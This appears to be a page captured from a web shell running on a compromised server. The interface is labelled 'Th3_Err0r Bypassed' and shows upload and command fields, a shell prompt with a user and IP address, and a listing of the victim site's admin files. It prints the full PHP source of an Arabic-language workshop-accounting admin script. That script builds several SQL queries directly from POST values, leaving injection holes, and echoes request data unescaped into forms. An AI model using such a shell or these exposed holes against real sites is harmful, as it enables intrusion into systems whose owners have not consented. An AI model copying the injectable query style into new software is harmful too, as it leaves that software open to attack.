[ Th3_Err0r Bypassed ]




Upload:

Command:

liwaavux@216.73.217.165: ~ $
<?php 
ob_start();
session_start();
?>
<?php
if(isset($_SESSION['user_liwwan_admin_2023930']) AND ($_SESSION['type'] == "manager_session_alliwan") ){
    $pageTitle  = 'ac_workshops';
    include 'init.php';
?>
<?php
// 3/ EDIT accounting row
if (isset($_POST['do_edit_acc'])){
    

    $acc_wsh      = $_POST["acc_wsh_is"];

// select All Data Depend on this ID
$stmaccis = $conn->prepare("SELECT wsh_cus_code FROM workshops WHERE wshid  = $acc_wsh");
// execute Query
$stmaccis->execute();
// fetch the data
$acciss = $stmaccis->fetch();

    $redir_wsh = $acciss ['wsh_cus_code'];

    
    $acc_id      = $_POST["acc_id_is"];

    $acc_tittle   = filter_var($_POST['acc_tittle_ed'], FILTER_SANITIZE_STRING);
    $acc_amount   = filter_var($_POST['acc_amount_ed'], FILTER_SANITIZE_NUMBER_INT);
    $acc_date     = filter_var($_POST['acc_date_ed'], FILTER_SANITIZE_STRING);
    
    
    if (empty($acc_tittle)){

        $formErrors[] = 'amount Cant Be <strong>Empty</strong> ';
    }
    //loop into errors array and echo it
    foreach($formErrors as $error){

        echo '<div class= "alert alert-danger text-center">' .  $error .  '</div>' ;
    }
    if (empty($formErrors)){

        $stmt = $conn->prepare("UPDATE 
                             workshopsaccounting 
                             SET
                             acc_amount  = ?,
                             acc_tittle  = ?,
                             acc_date    =?

                             WHERE
                             acc_id   = $acc_id ");
$stmt->execute(array($acc_amount ,$acc_tittle,$acc_date));     
    
    header('location:workshop_details.php?wsh='.$redir_wsh);
    exit();
    }
}

?>
<?php 
// 3/ Delete accounting row
if (isset($_POST['delacc'])){
    $wshdel   = $_POST["acc_del"];
    $wshcucd = $_POST["acc_wsh_cod"]; 

    $stmt = $conn->prepare("DELETE FROM  workshopsaccounting WHERE acc_id  = :zid");
    
    $stmt->bindparam(":zid", $wshdel);
    
    $stmt->execute();
        
    
    header('location:workshop_details.php?wsh='.$wshcucd);
    exit();
    }
?>
<?php
if (($_SERVER['REQUEST_METHOD'] == 'POST') && isset($_POST['do_edit_workshop'])) {
         
    $wshedid = $_POST['wsh_ed_id'];
    $wsh_cusphone  = filter_var($_POST['wsh_cusphone'], FILTER_SANITIZE_STRING);
    $wsh_cusname   = filter_var($_POST['wsh_cusname'], FILTER_SANITIZE_STRING);
    $wsh_type      = filter_var($_POST['wsh_type'], FILTER_SANITIZE_STRING);
    $wsh_place     = filter_var($_POST['wsh_place'], FILTER_SANITIZE_STRING);
    $wsh_desc      = filter_var($_POST['wsh_desc'], FILTER_SANITIZE_STRING);

    $formErrors = array();
  
                if (empty($wsh_cusname)){

                    $formErrors[] = ' customer name Cant Be <strong>Empty</strong> ';
                }
                //loop into errors array and echo it
                foreach($formErrors as $error){

                    echo '<div class= "alert alert-danger text-center">' .  $error .  '</div>' ;
                }
                if (empty($formErrors)){

               $editwsh = $conn->prepare("UPDATE 
                             workshops 
                             SET
                             wsh_customer_name   =?,
                             wsh_customer_phone  =?,
                             wsh_type            =?,
                             wsh_place           =?,
                             wsh_desc            =?

                             WHERE
                             wshid   = $wshedid ");
                $editwsh->execute(array($wsh_cusname ,$wsh_cusphone,$wsh_type,$wsh_place,$wsh_desc));     
                    
                    header('location:workshops.php');
                    exit();

          } else{
            $msg=urlencode("البيانات المدخلة تحتوي على مشكلة" . "، أعد المحاولة");
            header('location:ac_workshops.php?Message='. $msg);

         exit();
          }
}
?>
<?php
if (($_SERVER['REQUEST_METHOD'] == 'POST') && isset($_POST['do_add_Revenues'])) {

    $cuswsh = $_POST['wshcode'];
    $wsh_id_is      = filter_var($_POST['wsh_id_is'], FILTER_SANITIZE_NUMBER_INT);
    $wsh_amount_is  = filter_var($_POST['wsh_amount_is'], FILTER_SANITIZE_NUMBER_INT);
    $wsh_type_is    = filter_var($_POST['wsh_type_is'], FILTER_SANITIZE_STRING);
    $wsh_tittle     = filter_var($_POST['wsh_tittle'], FILTER_SANITIZE_STRING);

    $formErrors = array();
  
                if (empty($wsh_amount_is)){

                    $formErrors[] = ' workshop amount Cant Be <strong>Empty</strong> ';
                }
                //loop into errors array and echo it
                foreach($formErrors as $error){

                    echo '<div class= "alert alert-danger text-center">' .  $error .  '</div>' ;
                }
                if (empty($formErrors)){

                  $stmt = $conn->prepare("INSERT INTO
                  workshopsaccounting(acc_wshid, acc_type, acc_amount, acc_tittle, acc_date)
                  VALUES (:zwid, :zwty, :zwam, :zwti, now() ) ");
  
               $stmt->execute(array(
                   'zwid'        => $wsh_id_is,
                   'zwam'        => $wsh_amount_is,
                   'zwty'        => $wsh_type_is,
                   'zwti'        => $wsh_tittle
      
               )); 
               
               header('location:workshop_details.php?wsh='.$cuswsh);
               exit();
          } else{
            $msg=urlencode("البيانات المدخلة تحتوي على مشكلة" . "، أعد المحاولة");
            header('location:ac_workshops.php?Message='. $msg);

         exit();
          }
}
?>
<?php
if (($_SERVER['REQUEST_METHOD'] == 'POST') && isset($_POST['do_add_expenses'])) {

    $cuswsh = $_POST['wshcode'];
    $wsh_id_is      = filter_var($_POST['wsh_id_is'], FILTER_SANITIZE_NUMBER_INT);
    $wsh_amount_is  = filter_var($_POST['wsh_amount_is'], FILTER_SANITIZE_NUMBER_INT);
    $wsh_type_is    = filter_var($_POST['wsh_type_is'], FILTER_SANITIZE_STRING);
    $wsh_tittle     = filter_var($_POST['wsh_tittle'], FILTER_SANITIZE_STRING);

    $formErrors = array();
  
                if (empty($wsh_amount_is)){

                    $formErrors[] = ' workshop amount Cant Be <strong>Empty</strong> ';
                }
                //loop into errors array and echo it
                foreach($formErrors as $error){

                    echo '<div class= "alert alert-danger text-center">' .  $error .  '</div>' ;
                }
                if (empty($formErrors)){

                  $stmt = $conn->prepare("INSERT INTO
                  workshopsaccounting(acc_wshid, acc_type, acc_amount, acc_tittle, acc_date)
                  VALUES (:zwid, :zwty, :zwam,:zwti, now() ) ");
  
               $stmt->execute(array(
                   'zwid'        => $wsh_id_is,
                   'zwam'        => $wsh_amount_is,
                   'zwty'        => $wsh_type_is,
                   'zwti'        => $wsh_tittle
      
               )); 
               
               header('location:workshop_details.php?wsh='.$cuswsh);
               exit();
          } else{
            $msg=urlencode("البيانات المدخلة تحتوي على مشكلة" . "، أعد المحاولة");
            header('location:ac_workshops.php?Message='. $msg);

         exit();
          }
}
?>
<?php
if(isset($_POST['ac_wsh_id'])){
?>
<?php 
if(isset($_POST['add_Revenues'])){
$wshid =   $_POST['ac_wsh_id'];
$wshcd =   $_POST['ac_wsh_cd'];
?>
<section class="add_my">
    <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST" class="form mt-5">
        <p class="text-center h3 fw-bold text-center m-auto add_my_p"> إضافة إيراد لورشة عمل </p>
        <div class="row">
            <div class="input-group text-end">
                <div class="col-lg-12 col-sm-12">
                    <div class="tex-area mt-2 w-50 m-auto">
                        <div class="mb-3">
                        <label for="wsh_amount_is" class="text-muted fw-bold"> أدخل مبلغ الإيراد <span class="text-danger fs-5">◈</span></label>
                            <input type="text" class="w-100 text-muted fw-bold py-2 text-end" name="wsh_amount_is" required="required" id="wsh_amount_is"/>
                            <input type="hidden" class="w-100 text-muted fw-bold py-2" value="<?php echo $wshid; ?>" name="wsh_id_is" required="required" id="wsh_id_is"/>
                            <input type="hidden" class="w-100 text-muted fw-bold py-2" value="<?php echo $wshcd; ?>" name="wshcode" required="required" id="wshcode"/>
                            <input type="hidden" class="w-100 text-muted fw-bold py-2" value="a" name="wsh_type_is" required="required" id="wsh_type_is"/>
                        </div>
                    </div>
                    <div class="col-lg-12 col-sm-12">
                    <div class="tex-area mt-2 w-50 m-auto">
                        <div class="mb-3">
                            <label for="wsh_tittle" class="text-muted fw-bold"> البيان <span class="text-danger fs-5">◈</span></label>
                            <input type="text" class="w-100 text-muted fw-bold py-2 text-end" name="wsh_tittle" required="required" id="wsh_tittle"/>
                        </div>
                    </div>
                </div>
                </div>
            </div>          
            <hr>
            <div class="col-8"></div>
            <div class="col-4">
            <button class="btn btn-primary px-4" name="do_add_Revenues" type="submit"> تأكيد </button>
            </div>
        </div>
    </form>
</section>
<?php }?>
<?php 
if(isset($_POST['add_expenses'])){
$wshid =   $_POST['ac_wsh_id'];
$wshcd =   $_POST['ac_wsh_cd'];
?>
<section class="add_my">
    <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST" class="form mt-5">
        <p class="text-center h3 fw-bold text-center m-auto add_my_p"> إضافة مصروف لورشة عمل </p>
        <div class="row">
            <div class="input-group text-end">
                <div class="col-lg-12 col-sm-12">
                    <div class="tex-area mt-2 w-50 m-auto">
                        <div class="mb-3">
                        <label for="wsh_amount_is" class="text-muted fw-bold "> أدخل مبلغ الصرف <span class="text-danger fs-5">◈</span></label>
                            <input type="text" class="w-100 text-muted fw-bold py-2 text-end" name="wsh_amount_is" required="required" id="wsh_amount_is"/>
                            <input type="hidden" class="w-100 text-muted fw-bold py-2" value="<?php echo $wshid; ?>" name="wsh_id_is" required="required" id="wsh_id_is"/>
                            <input type="hidden" class="w-100 text-muted fw-bold py-2" value="<?php echo $wshcd; ?>" name="wshcode" required="required" id="wshcode"/>
                            <input type="hidden" class="w-100 text-muted fw-bold py-2" value="b" name="wsh_type_is" required="required" id="wsh_type_is"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-12 col-sm-12">
                    <div class="tex-area mt-2 w-50 m-auto">
                        <div class="mb-3">
                            <label for="wsh_tittle" class="text-muted fw-bold"> البيان <span class="text-danger fs-5">◈</span></label>
                            <input type="text" class="w-100 text-muted fw-bold py-2 text-end" name="wsh_tittle" required="required" id="wsh_tittle"/>
                        </div>
                    </div>
                </div>
            </div>          
            <hr>
            <div class="col-8"></div>
            <div class="col-4">
            <button class="btn btn-primary px-4" name="do_add_expenses" type="submit"> تأكيد </button>
            </div>
        </div>
    </form>
</section>
<?php }?>
<?php 
if(isset($_POST['edit_acc'])){
$accid  =   $_POST['ac_wsh_id'];
$accwsh =   $_POST['acc_wsh_is'];
?>
<?php 
// select All Data Depend on this ID
$stmacc = $conn->prepare("SELECT * FROM workshopsaccounting WHERE acc_id  = $accid");
// execute Query
$stmacc->execute();
// fetch the data
$accinfo = $stmacc->fetch();
?>
<section class="add_my">
    <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST" class="form mt-5">
        <p class="text-center h3 fw-bold text-center m-auto add_my_p"> تعديل بيانات قيد ورشة </p>
        <div class="row">
            <div class="input-group text-end">
                <div class="col-lg-12 col-sm-12">
                    <div class="tex-area mt-2 w-50 m-auto">
                        <div class="mb-3">
                        <label for="wsh_amount_ed" class="text-muted fw-bold"> المبلغ <span class="text-danger fs-5">◈</span></label>
                            <input type="text" class="w-100 text-muted fw-bold py-2 text-end" value="<?php echo $accinfo['acc_amount']; ?>" name="acc_amount_ed" required="required" id="acc_amount_ed"/>
                            <input type="hidden" class="w-100 text-muted fw-bold py-2" value="<?php echo $accid; ?>" name="acc_id_is" required="required"/>
                            <input type="hidden" class="w-100 text-muted fw-bold py-2" value="<?php echo $accwsh; ?>" name="acc_wsh_is" required="required"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-12 col-sm-12">
                    <div class="tex-area mt-2 w-50 m-auto">
                        <div class="mb-3">
                            <label for="wsh_tittle" class="text-muted fw-bold "> البيان <span class="text-danger fs-5">◈</span></label>
                            <input type="text" class="w-100 text-muted fw-bold py-2 text-end" name="acc_tittle_ed" value="<?php echo $accinfo['acc_tittle']; ?>" required="required" id="acc_tittle_ed"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-12 col-sm-12">
                    <div class="tex-area mt-2 w-50 m-auto">
                        <div class="mb-3">
                            <label for="acc_date_ed" class="text-muted fw-bold "> البيان <span class="text-danger fs-5">◈</span></label>
                            <input type="date" class="w-100 text-muted fw-bold py-2 text-end" name="acc_date_ed" value="<?php echo $accinfo['acc_date']; ?>" required="required" id="acc_tittle_ed"/>
                        </div>
                    </div>
                </div>
            </div>          
            <hr>
            <div class="col-8"></div>
            <div class="col-4">
            <button class="btn btn-primary px-4" name="do_edit_acc" type="submit"> تأكيد </button>
            </div>
        </div>
    </form>
</section>
<?php }?>
<?php 
if(isset($_POST['edit_wsh'])){

$wshid  =   $_POST['ac_wsh_id'];
// select All Data Depend on this ID
$stmawsh = $conn->prepare("SELECT * FROM workshops WHERE wshid  = $wshid");
// execute Query
$stmawsh->execute();
// fetch the data
$wshcop = $stmawsh->fetch();
?>
<section class="add_my">
    <form action="<?php echo $_SERVER['PHP_SELF'] ?>" method="POST" class="form mt-5">
        <p class="text-center h3 fw-bold text-center m-auto add_my_p"> تعديل بيانات ورشة عمل </p>
        <div class="row">
            <div class="input-group text-end">
                <div class="col-lg-6 col-sm-12">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="wsh_cusname" class="text-muted fw-bold"> إسم العميل <span class="text-danger ">◈</span></label>
                        <input type="text" class="w-100 text-muted fw-bold py-2 text-end" name="wsh_cusname" value="<?php echo $wshcop['wsh_customer_name'] ?>" required="required" id="wsh_cusname"/>
                        <input type="hidden" name="wsh_ed_id" value="<?php echo $wshcop['wshid'] ?>">
                        </div>
                    </div>
                </div>
                <div class="col-lg-6 col-sm-12">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="wsh_cusphone" class="text-muted fw-bold"> رقم هاتف العميل </label>
                        <input type="text" class="w-100 text-muted fw-bold py-2 text-end" name="wsh_cusphone" value="<?php echo $wshcop['wsh_customer_phone'] ?>" id="wsh_cusphone"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-6 col-sm-12">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="wsh_type" class="text-muted fw-bold"> نوع الورشة </label>
                        <input type="text" class="w-100 text-muted fw-bold py-2 text-end" name="wsh_type" value="<?php echo $wshcop['wsh_type'] ?>" id="wsh_type"/>
                        </div>
                    </div>
                </div>
                <div class="col-lg-6 col-sm-12">
                    <div class="tex-area mt-2">
                        <div class="mb-3">
                        <label for="wsh_place" class="text-muted fw-bold"> مكان الورشة </label>
                        <input type="text" class="w-100 text-muted fw-bold py-2 text-end" name="wsh_place" value="<?php echo $wshcop['wsh_place'] ?>" id="wsh_place"/>
                        </div>
                    </div>
                </div>
            </div>
            <div class="col-lg-12 col-sm-12">
              <div class="tex-area mt-2">
                <div class="mb-3">
                  <label for="wsh_desc" class="form-label mt-2 text-muted fw-bold text-end" > شرح </label>
                  <textarea class="form-control text-muted fw-bold text-end" id="wsh_desc" rows="4" value="<?php echo $wshcop['wsh_desc'] ?>" name="wsh_desc"><?php echo $wshcop['wsh_desc'] ?></textarea>
                </div>
              </div>
            </div>            
            <hr>
            <div class="col-8"></div>
            <div class="col-4">
            <button class="btn btn-primary px-4" name="do_edit_workshop" type="submit"> تأكيد </button>
            </div>
        </div>
    </form>
</section>
<?php }?>
<?php 
}else{
    header('Location:index.php');
    exit;
    }
?>
<?php
}else{
header('Location:logout.php');
exit;
}
?>

<?php
ob_end_flush();

Filemanager

Name Type Size Permission Actions
assets Folder 0755
images Folder 0755
ac_citycalc.php File 15.27 KB 0644
ac_edit_admin.php File 2.67 KB 0644
ac_edit_admininfo.php File 4.36 KB 0644
ac_edit_imgs.php File 34.27 KB 0644
ac_edit_pr.php File 10.72 KB 0644
ac_projects.php File 5.24 KB 0644
ac_workshops.php File 18.62 KB 0644
add_admin.php File 4.32 KB 0644
add_customer_template.php File 11.1 KB 0644
add_project.php File 17.22 KB 0644
add_workshop.php File 5.15 KB 0644
admins.php File 4.81 KB 0644
citycalc.php File 5.01 KB 0644
cons_orders.php File 4.51 KB 0644
custommer_templates.php File 4.59 KB 0644
dashboard.php File 4.11 KB 0644
edit_cus_template.php File 11.74 KB 0644
editadminpassword.php File 5.17 KB 0644
error_log File 309.84 KB 0644
imgs.php File 18.17 KB 0644
index.php File 3.19 KB 0644
init.php File 183 B 0644
logout.php File 186 B 0644
newsletter.php File 3.13 KB 0644
projects.php File 13.89 KB 0644
projects_card.php File 13.29 KB 0644
show.php File 8.81 KB 0644
workshop_details.php File 12.08 KB 0644
workshops.php File 4.63 KB 0644